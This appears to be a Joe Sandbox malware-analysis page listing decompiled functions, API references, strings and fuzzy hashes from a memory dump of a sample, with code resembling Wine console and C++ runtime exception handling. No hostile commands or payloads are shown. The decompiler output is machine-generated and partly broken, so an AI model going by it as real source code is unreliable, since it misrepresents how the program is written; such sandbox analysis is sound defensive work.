TextOutW.GDI32 ref: 00B1BEB4
SelectObject.GDI32 ref: 00B1BECA
EndPaint.USER32 ref: 00B1BEE0

Strings

ASCII: abcXYZ, xrefs: 00B1BE78, 00B1BE97

Memory Dump Source

Source File: 00000002.00000002.393507190.0000000000B11000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000002.00000002.393394170.0000000000B10000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.393529256.0000000000B2C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.393542517.0000000000B34000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.393551749.0000000000B39000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b10000_febcldoukq.jbxd

Similarity

API ID: LongTextWindow$ColorObjectPaintSelect$BeginBrushCreateFillHandleItemLoadModuleParentRectSolidString
String ID: ASCII: abcXYZ
API String ID: 3404974346-732927841
Opcode ID: c4c0903b52ad28736a2c99d1188904acb4d37163e4a14931e1d9f574b5432403
Instruction ID: ca5c14e6f493724afd9b6a9f286210f73c797b948b0e71aaade16d1ba420b983
Opcode Fuzzy Hash: c4c0903b52ad28736a2c99d1188904acb4d37163e4a14931e1d9f574b5432403
Instruction Fuzzy Hash: 0E6195B58083149FCB04EFA8D58869EBFF4BF48301F10896DE88997354EB749988CF52

Uniqueness

Uniqueness Score: -1.00%

Function 00B1A680 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 181
registryCOMMON

Download Yara Rule

C-Code - Quality: 29%

			E00B1A680(void* __edi, struct HINSTANCE__* _a4, intOrPtr _a8) {
				intOrPtr _v12;
				char _v216;
				char _v428;
				struct _WNDCLASSW _v468;
				char _v980;
				struct HINSTANCE__* _v984;
				char* _v988;
				char* _v992;
				char* _v996;
				intOrPtr _v1000;
				void* _v1008;
				intOrPtr _v1012;
				struct HINSTANCE__* _v1016;
				intOrPtr _v1020;
				char* _v1024;
				struct HINSTANCE__* _t110;
				struct HINSTANCE__* _t115;
				int _t117;
				intOrPtr* _t118;
				void* _t155;
				void* _t156;
				struct HINSTANCE__** _t165;
				struct HINSTANCE__** _t166;
				intOrPtr* _t167;
				intOrPtr* _t169;

				_t153 = __edi;
				L00B2B0CA();
				E00B1FC30(__edi,  &_v428, 0, 0xd4);
				_v428 = _a4;
				if(_a8 == 0) {
					_v1016 = 0;
					_v1012 =  &_v428 + 4;
					E00B13370(_t153);
					_t156 = _t155 - 8;
				} else {
					_v1016 = _a4;
					_v1012 =  &_v428 + 4;
					E00B1B960();
					_t156 = _t155 - 8;
				}
				E00B1F6B0( &_v216,  &_v428 + 4, 0xcc);
				_v468.style = 0;
				_v468.lpfnWndProc = E00B1BBB0;
				_v468.cbClsExtra = 0;
				_v468.cbWndExtra = 4;
				_v468.hInstance = GetModuleHandleW(0);
				_v468.hIcon = 0;
				_v468.hCursor = LoadCursorW(0, 0x7f00);
				_v468.hbrBackground = GetStockObject(4);
				_v468.lpszMenuName = 0;
				_v468.lpszClassName = L"WineConFontPreview";
				RegisterClassW( &_v468);
				_v468.style = 0;
				_v468.lpfnWndProc = E00B1BF30;
				_v468.cbClsExtra = 0;
				_v468.cbWndExtra = 4;
				_v468.hInstance = GetModuleHandleW(0);
				_v468.hIcon = 0;
				_v468.hCursor = LoadCursorW(0, 0x7f00);
				_v468.hbrBackground = GetStockObject(4);
				_v468.lpszMenuName = 0;
				_v468.lpszClassName = L"WineConColorPreview";
				RegisterClassW( &_v468);
				_t110 =  &_v980;
				_v1024 = _t110;
				0x710000();
				_t165 = _t156 - 0xffffffffffffffdc;
				_v984 = _t110;
				_v988 =  &_v980;
				_t113 =  !=  ? 0x121 : 0x120;
				_v992 =  !=  ? 0x121 : 0x120;
				 *_t165 = 0;
				_t115 = GetModuleHandleW(??);
				_t166 = _t165 - 4;
				 *_t166 = _t115;
				_v1024 = _v992;
				_v1020 = _v988;
				_v1016 = _v984;
				_t117 = LoadStringW(??, ??, ??, ??);
				_t167 = _t166 - 0x10;
				if(_t117 == 0) {
					 *_t167 =  &_v980;
					_v1024 = L"Setup";
					E00B211F7();
				}
				_t118 = _t167;
				 *((intOrPtr*)(_t118 + 4)) =  &_v428 + 4;
				 *_t118 =  &_v216;
				 *((intOrPtr*)(_t118 + 8)) = 0xcc;
				if(E00B1E02E() != 0) {
					if(_a8 != 0) {
						 *_t167 = _a4;
						_v1024 =  &_v428 + 4;
						E00B14AB0();
						_t169 = _t167 - 8;
						 *_t169 = _v428;
						E00B18E70();
						_t167 = _t169 - 4;
					}
					_v996 =  &_v428 + 4;
					if(_a8 == 0) {
						_v1000 = 0;
					} else {
						_v1000 =  *((intOrPtr*)( *((intOrPtr*)(_a4 + 0x84)) + 0x24));
					}
					 *_t167 = _v1000;
					_v1024 = _v996;
					E00B1C3B0();
					_v12 = 1;
				} else {
					_v12 = 1;
				}
				return _v12;
			}

APIs

#17.COMCTL32 ref: 00B1A690
GetModuleHandleW.KERNEL32 ref: 00B1A75C
LoadCursorW.USER32 ref: 00B1A787
GetStockObject.GDI32 ref: 00B1A79D
RegisterClassW.USER32 ref: 00B1A7CB
GetModuleHandleW.KERNEL32 ref: 00B1A807
LoadCursorW.USER32 ref: 00B1A832
GetStockObject.GDI32 ref: 00B1A848
RegisterClassW.USER32 ref: 00B1A876
GetModuleHandleW.KERNEL32 ref: 00B1A8C4
LoadStringW.USER32 ref: 00B1A8F0

Part of subcall function 00B18E70: IsWindowVisible.USER32 ref: 00B18EE6
Part of subcall function 00B18E70: GetDC.USER32 ref: 00B18F61

Strings

WineConFontPreview, xrefs: 00B1A7B6
WineConColorPreview, xrefs: 00B1A861
Setup, xrefs: 00B1A908

Memory Dump Source

Source File: 00000002.00000002.393507190.0000000000B11000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000002.00000002.393394170.0000000000B10000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.393529256.0000000000B2C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.393542517.0000000000B34000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.393551749.0000000000B39000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b10000_febcldoukq.jbxd

Similarity

API ID: HandleLoadModule$ClassCursorObjectRegisterStock$StringVisibleWindow
String ID: Setup$WineConColorPreview$WineConFontPreview
API String ID: 3977189380-2851978119
Opcode ID: 28ed17ff0909779931525e8a9e673ed3cad329e51043c9fd68de860650fe8319
Instruction ID: c9808c841bb7ef49dde0a0c2f489549f24053620fbd5274fe15add491717bd29
Opcode Fuzzy Hash: 28ed17ff0909779931525e8a9e673ed3cad329e51043c9fd68de860650fe8319
Instruction Fuzzy Hash: 6E91DAB19052189FDB50EF28D9497DDBBF4FB08344F4085AAE889E7250DB749A88CF42

Uniqueness

Uniqueness Score: -1.00%

Function 00B17B20 Relevance: 19.5, APIs: 8, Strings: 3, Instructions: 281COMMON

Download Yara Rule

APIs

CreateEventW.KERNEL32 ref: 00B17BAE
EnterCriticalSection.KERNEL32 ref: 00B17C7A
MultiByteToWideChar.KERNEL32 ref: 00B17D09
LeaveCriticalSection.KERNEL32 ref: 00B17DBD
LeaveCriticalSection.KERNEL32 ref: 00B17F5A
EnterCriticalSection.KERNEL32 ref: 00B17F76
CloseHandle.KERNEL32 ref: 00B1800E
LeaveCriticalSection.KERNEL32 ref: 00B1802D

Strings

H, xrefs: 00B17E0A
input restore failed: %#lx, xrefs: 00B17FE8
input setup failed: %#lx, xrefs: 00B17B73

Memory Dump Source

Source File: 00000002.00000002.393507190.0000000000B11000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000002.00000002.393394170.0000000000B10000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.393529256.0000000000B2C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.393542517.0000000000B34000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.393551749.0000000000B39000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b10000_febcldoukq.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$ByteCharCloseCreateEventHandleMultiWide
String ID: H$input restore failed: %#lx$input setup failed: %#lx
API String ID: 628538822-1542851097
Opcode ID: 0c8a7da7b359dabe54b514c437ab4783874223f9cdad445e6961efae02b17d75
Instruction ID: 31ed8491b646f597deee65d7a2f68581e6c8207f0c63b4ad452fbb44a98d3f10
Opcode Fuzzy Hash: 0c8a7da7b359dabe54b514c437ab4783874223f9cdad445e6961efae02b17d75
Instruction Fuzzy Hash: C4D119B5909215CFDB11EF68D5987AEBBF4FF48340F4088ADE48997240DB749A88CF52

Uniqueness

Uniqueness Score: -1.00%

Function 00B123E0 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 177COMMON

Download Yara Rule

APIs

GetACP.KERNEL32 ref: 00B123FC
TranslateCharsetInfo.GDI32 ref: 00B12419
GetStartupInfoW.KERNEL32 ref: 00B12452

Strings

WineConsoleClass, xrefs: 00B1265E

Memory Dump Source

Source File: 00000002.00000002.393507190.0000000000B11000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000002.00000002.393394170.0000000000B10000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.393529256.0000000000B2C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.393542517.0000000000B34000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.393551749.0000000000B39000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b10000_febcldoukq.jbxd

Similarity

API ID: Info$CharsetStartupTranslate
String ID: WineConsoleClass
API String ID: 3822699805-3427835368
Opcode ID: fa0cfbda8df7855832444ef7de0b8ad11ec107a1126da6aa5867738556760ff3
Instruction ID: db011885c38444a2812b0c30a4c208df24535ece386a9ffe581155360e419f9c
Opcode Fuzzy Hash: fa0cfbda8df7855832444ef7de0b8ad11ec107a1126da6aa5867738556760ff3
Instruction Fuzzy Hash: CF91B8B49042198FDB20DF68D994BDDBBF0FF08304F5089A9E889AB351DB759A94CF41

Uniqueness

Uniqueness Score: -1.00%

Function 00B12E20 Relevance: 16.7, APIs: 11, Instructions: 228COMMON

Download Yara Rule

APIs

GetDC.USER32 ref: 00B12F2E
CreateFontIndirectW.GDI32 ref: 00B12F58
ReleaseDC.USER32 ref: 00B12F83
SelectObject.GDI32 ref: 00B12FA8
GetTextMetricsW.GDI32 ref: 00B12FC4
GetTextFaceW.GDI32 ref: 00B13003
SelectObject.GDI32 ref: 00B13027
ReleaseDC.USER32 ref: 00B13046
GetCPInfo.KERNEL32 ref: 00B130E8
DeleteObject.GDI32 ref: 00B13135
DeleteObject.GDI32 ref: 00B1317E

Memory Dump Source

Source File: 00000002.00000002.393507190.0000000000B11000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000002.00000002.393394170.0000000000B10000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.393529256.0000000000B2C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.393542517.0000000000B34000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.393551749.0000000000B39000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b10000_febcldoukq.jbxd

Similarity

API ID: Object$DeleteReleaseSelectText$CreateFaceFontIndirectInfoMetrics
String ID:
API String ID: 2170087643-0
Opcode ID: 36cebba9ea27c9bbeca15d20ac548f29d7f5c7d01338e7ad1a4db55bfb095a9a
Instruction ID: f0196736d788d209d4e6b4e817d4e3cd30459f8792cf04e2c6c0dcf70323507c
Opcode Fuzzy Hash: 36cebba9ea27c9bbeca15d20ac548f29d7f5c7d01338e7ad1a4db55bfb095a9a
Instruction Fuzzy Hash: 3CB17378A04218DFCB14DF68D588AADBBF1FF49314F5584A9E889DB351DB30E984CB41

Uniqueness

Uniqueness Score: -1.00%

Function 00B27A82 Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 303
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 64%

			E00B27A82(signed int __edx, intOrPtr* _a4, signed int _a8, signed int _a12, intOrPtr _a16, signed int* _a20, signed int _a24, signed int _a28, signed int _a32, signed int _a36) {
				intOrPtr _v0;
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				char _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				intOrPtr* _v44;
				intOrPtr _v48;
				signed int* _v52;
				intOrPtr _v56;
				signed int _v64;
				void* _v68;
				char _v84;
				signed int _v88;
				signed int _v92;
				intOrPtr _v100;
				void _v104;
				signed int _v108;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t146;
				signed int _t152;
				void* _t155;
				signed char _t160;
				signed int _t161;
				void* _t163;
				void* _t166;
				void* _t169;
				intOrPtr* _t179;
				void* _t182;
				intOrPtr* _t183;
				signed int _t184;
				signed int _t185;
				signed int _t187;
				void* _t191;
				void* _t196;
				void* _t197;
				intOrPtr _t201;
				intOrPtr* _t202;
				signed int _t203;
				signed int _t210;
				signed int _t211;
				intOrPtr _t214;
				signed int* _t218;
				signed int _t219;
				signed int _t224;
				signed int _t225;
				signed int _t231;
				void* _t234;
				void* _t235;

				_t216 = __edx;
				_t218 = _a20;
				_v20 = 0;
				_v28 = 0;
				_t204 = E00B28C58(_a8, _a16, _t218);
				_t235 = _t234 + 0xc;
				_v12 = _t204;
				if(_t204 < 0xffffffff || _t204 >= _t218[1]) {
					L67:
					E00B21BDC(_t202, _t204, _t216, _t218, _t225);
					asm("int3");
					__eflags = _v88;
					_push(_t202);
					_t203 = _v92;
					_push(_t225);
					_push(_t218);
					_t219 = _v108;
					if(__eflags != 0) {
						_push(_a24);
						_push(_t203);
						_push(_t219);
						_push(_v0);
						E00B279E9(_t203, _t219, _t225, __eflags);
						_t235 = _t235 + 0x10;
					}
					_t146 = _a36;
					__eflags = _t146;
					if(_t146 == 0) {
						_t146 = _t219;
					}
					E00B2425E(_t204, _t146, _v0);
					_t226 = _a28;
					_push( *_a28);
					_push(_a16);
					_push(_a12);
					_push(_t219);
					E00B27232(_t203, _t204, _t216, _t219, _a28, __eflags);
					E00B28C75(_t219, _a16,  *((intOrPtr*)(_t226 + 4)) + 1);
					_push(0x100);
					_push(_a32);
					_push( *((intOrPtr*)(_t203 + 0xc)));
					_push(_a16);
					_push(_a8);
					_push(_t219);
					_push(_v0);
					_t152 = E00B27429(_t203, _t216, _t219, _t226, __eflags);
					__eflags = _t152;
					if(_t152 != 0) {
						E00B2422E(_t152, _t219);
						return _t152;
					}
					return _t152;
				} else {
					_t202 = _a4;
					if( *_t202 != 0xe06d7363 ||  *((intOrPtr*)(_t202 + 0x10)) != 3 ||  *((intOrPtr*)(_t202 + 0x14)) != 0x19930520 &&  *((intOrPtr*)(_t202 + 0x14)) != 0x19930521 &&  *((intOrPtr*)(_t202 + 0x14)) != 0x19930522) {
						L22:
						_t216 = _a12;
						_v8 = _a12;
						goto L24;
					} else {
						_t225 = 0;
						if( *((intOrPtr*)(_t202 + 0x1c)) != 0) {
							goto L22;
						} else {
							_t155 = E00B21C6E(_t202, _t204, _t216, _t218, 0);
							if( *((intOrPtr*)(_t155 + 0x10)) == 0) {
								L61:
								return _t155;
							} else {
								_t202 =  *((intOrPtr*)(E00B21C6E(_t202, _t204, _t216, _t218, 0) + 0x10));
								_t191 = E00B21C6E(_t202, _t204, _t216, _t218, 0);
								_v28 = 1;
								_v8 =  *((intOrPtr*)(_t191 + 0x14));
								if(_t202 == 0 ||  *_t202 == 0xe06d7363 &&  *((intOrPtr*)(_t202 + 0x10)) == 3 && ( *((intOrPtr*)(_t202 + 0x14)) == 0x19930520 ||  *((intOrPtr*)(_t202 + 0x14)) == 0x19930521 ||  *((intOrPtr*)(_t202 + 0x14)) == 0x19930522) &&  *((intOrPtr*)(_t202 + 0x1c)) == _t225) {
									goto L67;
								} else {
									if( *((intOrPtr*)(E00B21C6E(_t202, _t204, _t216, _t218, _t225) + 0x1c)) == _t225) {
										L23:
										_t216 = _v8;
										_t204 = _v12;
										L24:
										_v52 = _t218;
										_v48 = 0;
										__eflags =  *_t202 - 0xe06d7363;
										if( *_t202 != 0xe06d7363) {
											L57:
											__eflags = _t218[3];
											if(_t218[3] <= 0) {
												goto L60;
											} else {
												__eflags = _a24;
												if(_a24 != 0) {
													goto L67;
												} else {
													E00B27EA7(_t204, _t216, _t218, _t225, _t202, _a8, _t216, _a16, _t218, _t204, _a28, _a32);
													_t235 = _t235 + 0x20;
													goto L60;
												}
											}
										} else {
											__eflags =  *((intOrPtr*)(_t202 + 0x10)) - 3;
											if( *((intOrPtr*)(_t202 + 0x10)) != 3) {
												goto L57;
											} else {
												__eflags =  *((intOrPtr*)(_t202 + 0x14)) - 0x19930520;
												if( *((intOrPtr*)(_t202 + 0x14)) == 0x19930520) {
													L29:
													_t225 = _a32;
													__eflags = _t218[3];
													if(_t218[3] > 0) {
														E00B241BE(_t204,  &_v68,  &_v52, _t204, _a16, _t218, _a28);
														_t216 = _v64;
														_t235 = _t235 + 0x18;
														_t179 = _v68;
														_v44 = _t179;
														_v16 = _t216;
														__eflags = _t216 - _v56;
														if(_t216 < _v56) {
															_t210 = _t216 * 0x14;
															__eflags = _t210;
															_v32 = _t210;
															do {
																_t211 = 5;
																_t182 = memcpy( &_v104,  *((intOrPtr*)( *_t179 + 0x10)) + _t210, _t211 << 2);
																_t235 = _t235 + 0xc;
																__eflags = _v104 - _t182;
																if(_v104 <= _t182) {
																	__eflags = _t182 - _v100;
																	if(_t182 <= _v100) {
																		_t214 = 0;
																		_v20 = 0;
																		__eflags = _v92;
																		if(_v92 != 0) {
																			_t217 =  *((intOrPtr*)(_t202 + 0x1c));
																			_t183 =  *((intOrPtr*)( *((intOrPtr*)(_t202 + 0x1c)) + 0xc));
																			_t184 = _t183 + 4;
																			__eflags = _t184;
																			_v36 = _t184;
																			_t185 = _v88;
																			_v40 =  *_t183;
																			_v24 = _t185;
																			do {
																				asm("movsd");
																				asm("movsd");
																				asm("movsd");
																				asm("movsd");
																				_t231 = _v40;
																				_t224 = _v36;
																				__eflags = _t231;
																				if(_t231 <= 0) {
																					goto L40;
																				} else {
																					while(1) {
																						_t187 = E00B2781D( &_v84,  *_t224, _t217);
																						_t235 = _t235 + 0xc;
																						__eflags = _t187;
																						if(_t187 != 0) {
																							break;
																						}
																						_t217 =  *((intOrPtr*)(_t202 + 0x1c));
																						_t231 = _t231 - 1;
																						_t224 = _t224 + 4;
																						__eflags = _t231;
																						if(_t231 > 0) {
																							continue;
																						} else {
																							_t214 = _v20;
																							_t185 = _v24;
																							goto L40;
																						}
																						goto L43;
																					}
																					_push(_a24);
																					_push(_v28);
																					_push(_a32);
																					_push(_a28);
																					_push( &_v104);
																					_push( *_t224);
																					_push( &_v84);
																					_push(_a20);
																					_push(_a16);
																					_push(_v8);
																					_push(_a8);
																					_push(_t202);
																					L68();
																					_t235 = _t235 + 0x30;
																				}
																				L43:
																				_t216 = _v16;
																				goto L44;
																				L40:
																				_t214 = _t214 + 1;
																				_t185 = _t185 + 0x10;
																				_v20 = _t214;
																				_v24 = _t185;
																				__eflags = _t214 - _v92;
																			} while (_t214 != _v92);
																			goto L43;
																		}
																	}
																}
																L44:
																_t216 = _t216 + 1;
																_t179 = _v44;
																_t210 = _v32 + 0x14;
																_v16 = _t216;
																_v32 = _t210;
																__eflags = _t216 - _v56;
															} while (_t216 < _v56);
															_t218 = _a20;
															_t225 = _a32;
														}
													}
													__eflags = _a24;
													if(__eflags != 0) {
														_push(1);
														E00B1DC55(_t202, _t218, _t225, __eflags);
														_t204 = _t202;
													}
													__eflags = ( *_t218 & 0x1fffffff) - 0x19930521;
													if(( *_t218 & 0x1fffffff) < 0x19930521) {
														L60:
														_t155 = E00B21C6E(_t202, _t204, _t216, _t218, _t225);
														__eflags =  *(_t155 + 0x1c);
														if( *(_t155 + 0x1c) != 0) {
															goto L67;
														} else {
															goto L61;
														}
													} else {
														_t160 = _t218[8] >> 2;
														__eflags = _t218[7];
														if(_t218[7] != 0) {
															__eflags = _t160 & 0x00000001;
															if((_t160 & 0x00000001) == 0) {
																_push(_t218[7]);
																_t161 = E00B27642();
																_t204 = _t202;
																__eflags = _t161;
																if(_t161 == 0) {
																	goto L64;
																} else {
																	goto L60;
																}
															} else {
																goto L54;
															}
														} else {
															__eflags = _t160 & 0x00000001;
															if((_t160 & 0x00000001) == 0) {
																goto L60;
															} else {
																__eflags = _a28;
																if(_a28 != 0) {
																	goto L60;
																} else {
																	L54:
																	 *((intOrPtr*)(E00B21C6E(_t202, _t204, _t216, _t218, _t225) + 0x10)) = _t202;
																	_t169 = E00B21C6E(_t202, _t204, _t216, _t218, _t225);
																	_t206 = _v8;
																	 *((intOrPtr*)(_t169 + 0x14)) = _v8;
																	goto L62;
																}
															}
														}
													}
												} else {
													__eflags =  *((intOrPtr*)(_t202 + 0x14)) - 0x19930521;
													if( *((intOrPtr*)(_t202 + 0x14)) == 0x19930521) {
														goto L29;
													} else {
														__eflags =  *((intOrPtr*)(_t202 + 0x14)) - 0x19930522;
														if( *((intOrPtr*)(_t202 + 0x14)) != 0x19930522) {
															goto L57;
														} else {
															goto L29;
														}
													}
												}
											}
										}
									} else {
										_v16 =  *((intOrPtr*)(E00B21C6E(_t202, _t204, _t216, _t218, _t225) + 0x1c));
										_t196 = E00B21C6E(_t202, _t204, _t216, _t218, _t225);
										_push(_v16);
										 *(_t196 + 0x1c) = _t225;
										_t197 = E00B27642();
										_t206 = _t202;
										if(_t197 != 0) {
											goto L23;
										} else {
											_t218 = _v16;
											_t255 =  *_t218 - _t225;
											if( *_t218 <= _t225) {
												L62:
												E00B2117B(_t202, _t206, _t216, _t218, _t225, __eflags);
											} else {
												while(1) {
													_t206 =  *((intOrPtr*)(_t225 + _t218[1] + 4));
													if(E00B2740A( *((intOrPtr*)(_t225 + _t218[1] + 4)), _t255, 0xb348c0) != 0) {
														goto L63;
													}
													_t225 = _t225 + 0x10;
													_t201 = _v20 + 1;
													_v20 = _t201;
													_t255 = _t201 -  *_t218;
													if(_t201 >=  *_t218) {
														goto L62;
													} else {
														continue;
													}
													goto L63;
												}
											}
											L63:
											_push(1);
											_push(_t202);
											E00B1DC55(_t202, _t218, _t225, __eflags);
											_t204 =  &_v64;
											E00B273C6( &_v64);
											E00B28D05( &_v64, 0xb3328c);
											L64:
											 *((intOrPtr*)(E00B21C6E(_t202, _t204, _t216, _t218, _t225) + 0x10)) = _t202;
											_t163 = E00B21C6E(_t202, _t204, _t216, _t218, _t225);
											_t204 = _v8;
											 *(_t163 + 0x14) = _v8;
											__eflags = _t225;
											if(_t225 == 0) {
												_t225 = _a8;
											}
											E00B2425E(_t204, _t225, _t202);
											L00B2731A(_a8, _a16, _t218);
											_t166 = E00B27332(_t218);
											_t235 = _t235 + 0x10;
											_push(_t166);
											E00B276DC(_t202, _t204, _t216, _t218, _t225, __eflags);
											goto L67;
										}
									}
								}
							}
						}
					}
				}
			}

APIs

type_info::operator==.LIBVCRUNTIME ref: 00B27BA1
___TypeMatch.LIBVCRUNTIME ref: 00B27CAF
CatchIt.LIBVCRUNTIME ref: 00B27D00
_UnwindNestedFrames.LIBCMT ref: 00B27E01
CallUnexpected.LIBVCRUNTIME ref: 00B27E1C

Strings

csm, xrefs: 00B27B2C
csm, xrefs: 00B27BD8
csm, xrefs: 00B27ABF

Memory Dump Source

Source File: 00000002.00000002.393507190.0000000000B11000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000002.00000002.393394170.0000000000B10000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.393529256.0000000000B2C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.393542517.0000000000B34000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.393551749.0000000000B39000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b10000_febcldoukq.jbxd

Similarity

API ID: CallCatchFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 4119006552-393685449
Opcode ID: ebb400a31adb7003bdb5150fba62a52f837cabdb15d561c697f14c6e981a22cd
Instruction ID: 97b43137f7e301639c4cd33782b004d2b64bf15b0f3ea7417e2308f7a829b332
Opcode Fuzzy Hash: ebb400a31adb7003bdb5150fba62a52f837cabdb15d561c697f14c6e981a22cd
Instruction Fuzzy Hash: 76B1AD71844229DFCF15DFA4E8808AEBBF5FF18310F1045EAE8086B212DB31DA51CB99

Uniqueness

Uniqueness Score: -1.00%

Function 00B1AA00 Relevance: 12.2, APIs: 8, Instructions: 181clipboardmemoryCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 00B1AA6A
EmptyClipboard.USER32 ref: 00B1AA81
GlobalAlloc.KERNEL32 ref: 00B1AA9F
GlobalLock.KERNEL32 ref: 00B1AABB

Memory Dump Source

Source File: 00000002.00000002.393507190.0000000000B11000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000002.00000002.393394170.0000000000B10000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.393529256.0000000000B2C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.393542517.0000000000B34000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.393551749.0000000000B39000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b10000_febcldoukq.jbxd

Similarity

API ID: ClipboardGlobal$AllocEmptyLockOpen
String ID:
API String ID: 3590494090-0
Opcode ID: 388e12dc2a367433de6c31a46f195d493a807d502f81e8c979c13e683df7f7cc
Instruction ID: 148d87ec92aee4a9ab012c5760a78b4c8e77ab779347e1a1a60932886ffa06b6
Opcode Fuzzy Hash: 388e12dc2a367433de6c31a46f195d493a807d502f81e8c979c13e683df7f7cc
Instruction Fuzzy Hash: AA81E274A042199FCB04DFA8C588AEDBBF0FF08315F1484A9E889EB351E734E981CB55

Uniqueness

Uniqueness Score: -1.00%

Function 00B1A250 Relevance: 12.1, APIs: 8, Instructions: 137windowCOMMON

Download Yara Rule

APIs

GetDC.USER32 ref: 00B1A31C
GetFocus.USER32 ref: 00B1A33E
HideCaret.USER32 ref: 00B1A36D
InvertRect.USER32 ref: 00B1A383
InvertRect.USER32 ref: 00B1A3DA
ReleaseDC.USER32 ref: 00B1A3F6
GetFocus.USER32 ref: 00B1A40B
ShowCaret.USER32 ref: 00B1A43A

Memory Dump Source

Source File: 00000002.00000002.393507190.0000000000B11000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000002.00000002.393394170.0000000000B10000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.393529256.0000000000B2C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.393542517.0000000000B34000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.393551749.0000000000B39000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b10000_febcldoukq.jbxd

Similarity

API ID: CaretFocusInvertRect$HideReleaseShow
String ID:
API String ID: 1353628544-0
Opcode ID: 01fa9d307017d2deb0d78e0cc3963e8147539135a47bc78bc5908b1c9a77ec9f
Instruction ID: b2d7c61ac96245a3a10b26f6c3230080128124e68e93ba239460d6edf08e2173
Opcode Fuzzy Hash: 01fa9d307017d2deb0d78e0cc3963e8147539135a47bc78bc5908b1c9a77ec9f
Instruction Fuzzy Hash: FF619274A00209DFCB04DF68D188AAEBBF5FF08311F5184A9E8499B351E735ED85CB92

Uniqueness

Uniqueness Score: -1.00%

Function 00B1ACA0 Relevance: 12.1, APIs: 8, Instructions: 98clipboardkeyboardCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 00B1ACB5
GetClipboardData.USER32 ref: 00B1ACD3
GlobalLock.KERNEL32 ref: 00B1ACEF
GlobalSize.KERNEL32 ref: 00B1AD0A
VkKeyScanW.USER32 ref: 00B1AD53
MapVirtualKeyW.USER32 ref: 00B1AD89
GlobalUnlock.KERNEL32 ref: 00B1AE10
CloseClipboard.USER32 ref: 00B1AE19

Memory Dump Source

Source File: 00000002.00000002.393507190.0000000000B11000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000002.00000002.393394170.0000000000B10000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.393529256.0000000000B2C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.393542517.0000000000B34000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.393551749.0000000000B39000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b10000_febcldoukq.jbxd

Similarity

API ID: ClipboardGlobal$CloseDataLockOpenScanSizeUnlockVirtual
String ID:
API String ID: 1615112705-0
